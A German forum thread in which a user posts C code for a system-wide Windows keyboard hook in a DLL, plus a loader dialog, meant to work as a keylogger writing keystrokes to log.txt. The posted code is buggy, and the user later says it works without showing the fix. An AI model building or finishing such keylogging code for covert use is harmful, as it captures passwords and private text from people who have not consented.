KeyboardHook
-
Hey Leute,
ich habe kein konkretes Problem mit einem Code sondern würde eher gerne wissen, wie ich etwas umsetzen kann ( auch gerne einfach nur in Worten beschrieben).
Und zwar habe ich in einer DLL erstmal mein Keyboard-hook installiert, um ihn dann später in einer WinApi mit Dialog zu verwenden.
Was ich eigentlich erreichen will, ist ein Art Keylogger.
Dazu müsste ich alsoLRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam,LPARAM lParam) { if(nCode<0) return CallNextHookEx(g_KeyboardHook,nCode,wParam,lParam); if(nCode == HC_ACTION) { //Hier der relevante Code für den KL } return CallNextHookEx(g_KeyboardHook,nCode,wParam,lParam); }entsprechend umschreiben. In wParam ( Im Fall nCode == HC_ACTION) steht ja der virtuelle Keycode von der Keystrokemessage (0x55 = U, etc. gibt es eine ganze Liste auf MSND). Allerdings will ich nicht eine switch-Anweisung mit 200+ cases machen. Das wäre ja total unproduktiv.
Wie würdet ihr vorgehen ? ( Nochmal mein Ziel: Keylogger der in einer Textfile das geschriebene mitschreibt ( Ist ein systemweiter Hook mit einem shared datansegment in der DLL) )Danke schonmal im Vor_raus(Was ist mit dem Wort? ) !
Mfg
-
Sooo, hab einfach mal was gemacht. Funktioniert leider nicht, die File bleibt leer

Ich poste hier mal die relevanten Code-Teile aus der DLL und ein paar aus der WinApi.#ifndef _DLL_H_ #define _DLL_H_ #if BUILDING_DLL # define DLLIMPORT __declspec (dllexport) #else /* Not BUILDING_DLL */ # define DLLIMPORT __declspec (dllimport) #endif /* Not BUILDING_DLL */ #include <windows.h> #define SHARED __attribute__((section(".shr"),shared)) DLLIMPORT BOOL InstallKHook(); DLLIMPORT BOOL UninstallKHook(); LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam); #endif /* _DLL_H_ */ //Das War die DLL.h #include "dll.h" #include <stdio.h> #include <stdlib.h> #define CHECK_BIT(var,pos) ((var) & (1<<(pos))) // Brauche ich später INSTANCE g_hInst SHARED = NULL; HHOOK g_KeyboardHook SHARED = NULL; FILE* f; BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ , DWORD reason /* Reason this function is being called. */ , LPVOID reserved /* Not used. */ ) { f =fopen("log.txt","w"); g_hInst = hInst; return TRUE; } // -------------------KEYBOARDHOOK-------------------------- DLLIMPORT BOOL InstallKHook() { if(g_KeyboardHook != NULL) return TRUE; g_KeyboardHook = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hInst,0); if(g_KeyboardHook == NULL) return FALSE; return TRUE; } DLLIMPORT BOOL UninstallKHook() { if(g_KeyboardHook != NULL) { UnhookWindowsHookEx(g_KeyboardHook); g_KeyboardHook = NULL; } return TRUE; } LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam,LPARAM lParam) { if(nCode<0) return CallNextHookEx(g_KeyboardHook,nCode,wParam,lParam); if(nCode == HC_ACTION) { if(!CHECK_BIT(lParam,31)) { MessageBox(NULL,"Key pressed!","Usless",MB_OK); fputc(wParam,f); fclose(f); } } return CallNextHookEx(g_KeyboardHook,nCode,wParam,lParam); } //Das ist die dllmain //Die ganze DLL war in C, deswegen keine C++ Variante für FilesNun mal die main, in der aber eig,. nur der Hook installiert wird.
#include <windows.h> #include <stdio.h> #define WINDOW_WIDTH 310 #define WINDOW_HEIGHT 350 typedef bool(CALLBACK *MYFUNC)(void); MYFUNC InstallKHook; MYFUNC UninstallKHook; HWND hInstallKHookBtn; HWND hUninstallKHookBtn; char szClassName[] ="Pipette"; //das war main.h #include "main.h" //Standard Fenster-Erzeugung sollte bekannt sein, poste es aber mal //Da davor paar Sachen verändert wurden int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { HWND hwnd; /* This is the handle for our window */ MSG messages; /* Here messages to the application are saved */ WNDCLASSEX wincl; /* Data structure for the windowclass */ Init(); /* The Window structure */ wincl.hInstance = hThisInstance; wincl.lpszClassName = szClassName; wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */ wincl.style = CS_DBLCLKS; /* Catch double-clicks */ wincl.cbSize = sizeof (WNDCLASSEX); /* Use default icon and mouse-pointer */ wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION); wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION); wincl.hCursor = LoadCursor (NULL, IDC_ARROW); wincl.lpszMenuName = NULL; /* No menu */ wincl.cbClsExtra = 0; /* No extra bytes after the window class */ wincl.cbWndExtra = 0; /* structure or the window instance */ /* Use Windows's default color as the background of the window */ wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND; /* Register the window class, and if it fails quit the program */ if (!RegisterClassEx (&wincl)) return 0; /* The class is registered, let's create the program*/ hwnd = CreateWindowEx ( 0, /* Extended possibilites for variation */ szClassName, /* Classname */ "Pipette", /* Title Text */ WS_SYSMENU|WS_MINIMIZEBOX, /* default window */ CW_USEDEFAULT, /* Windows decides the position */ CW_USEDEFAULT, /* where the window ends up on the screen */ WINDOW_WIDTH, /* The programs width */ WINDOW_HEIGHT, /* and height in pixels */ HWND_DESKTOP, /* The window is a child-window to desktop */ NULL, /* No menu */ hThisInstance, /* Program Instance handler */ NULL /* No Window Creation data */ ); DrawDialog(hwnd,hThisInstance); ShowWindow (hwnd, nFunsterStil); HINSTANCE hDLL = LoadLibrary("mousehook.dll"); // Die vorher gepostete DLL ! if(hDLL == NULL){ MessageBox(NULL,"Fehler beim Laden von mousehook.dll","Fehler",MB_OK); return FALSE; } InstallKHook = (MYFUNC) GetProcAddress(hDLL,"InstallKHook"); if(InstallHook== NULL) { MessageBox(NULL,"Fehler : InstallKHook konnte in keyboardhook.dll nicht gefunden werden","Fehler",MB_OK); return FALSE; } UninstallKHook = (MYFUNC) GetProcAddress(hDLL,"UninstallKHook"); if(UninstallKHook == NULL) { MessageBox(NULL,"Fehler : UninstallKHook konnte in keyboardhook.dll nicht geladen werden !","Fehler",MB_OK); return FALSE; } // Message Loop kommt hier //------Init()-Funktion-------(wurde oben aufgerufen) void Init(){ hInstallKHookBtn = NULL; hUninstallKHookBtn = NULL; InstallKHook = NULL; UninstallKHook = NULL; } //----DrawDialog-Funktion-----(wurde oben aufgerufen) void DrawDialog(HWND &parent, HINSTANCE &inst) { hInstallKHookBtn = CreateWindow("BUTTON",0,WS_CHILD|WS_VISIBLE,50,200,200,30,parent,0,inst,0); hUninstallKHookBtn = CreateWindow("BUTTON",0,WS_CHILD|WS_VISIBLE,50,250,200,30,parent,0,inst,0); SetWindowText(hUninstallKHookBtn,"Uninstall Keyboard Hook"); SetWindowText(hInstallKHookBtn,"Install Keyboard Hook"); } //-----Weiter mit WindowsProc---- //Hier poste ich nur die fürs installieren wichtige case-Verzweigung case WM_COMMAND: if(HIWORD(wParam) == BN_CLICKED) { // Hier kommen noch andere if-Verzweigungen davor else if(hBut == hInstallKHookBtn) { bool ret2 = InstallKHook(); if(!ret2) MessageBox(NULL,"Installieren des Keyboard-Hooks fehlgeschlagen!","Fehler",MB_OK); else SetWindowPos(hwnd,HWND_TOPMOST,0,0,0,0,SWP_NOSIZE | SWP_SHOWWINDOW); } else if(hBut == hUninstallKHookBtn) { bool ret3 = UninstallKHook(); if(!ret3) MessageBox(NULL,"Uninstallieren des Keyboard-Hooks fehlgeschlagen!","Fehler",MB_OK); } } break; //So, ich denke das wars mit der main !Also die Datei "log.txt" wird zwar erstellt, bleibt aber leer.
Der Hook greift aber, wenn ich mir bei jedem Keystroke ein Nachrichtenfenster ausgeben lasse, passiert das auch.
LIegt es vllt daran, dass wParam irgendwie "verschlüsselt" ist, und man das erstmal, wie auch immer, Translaten mpüsste, was da drinnen steht, bevor man es tatsächlich in eine Datei schreiben kann ?
Dazu müsste ich wohl hauptsächlich erstmal wissen, wie mein ein Virtual Key Code in ein normales Char-Zeichen umwandelt.
Habe danach gegoogeld, bekomme aber nur Lösungen in Delphi.
An dieser Stelle schonmal Danke an alle, die sich das angetan haben und es durchgelesen haben
Mfg und schönen Abend noch !
-
Mach mal dein Code ein bisschen schön. Ist ja grauenhaft.
Felixxx schrieb:
LIegt es vllt daran, dass wParam irgendwie "verschlüsselt" ist, und man das erstmal, wie auch immer, Translaten mpüsste, was da drinnen steht, bevor man es tatsächlich in eine Datei schreiben kann ?
http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx
-
So. selber hingrekrieg.
Dass wParam im VK-Code ist war mir klar. Dachte nur, dass das eventuell so hinhaut, wenn ich ihn einfach in die File schreiben lasse. Musste aber über mehrere Umwege gehen. Zum Glück hatte nen KUmpel die entsprechende Windows-Funktion zum Umwandeln von VK-Code in Char-zeichen parat.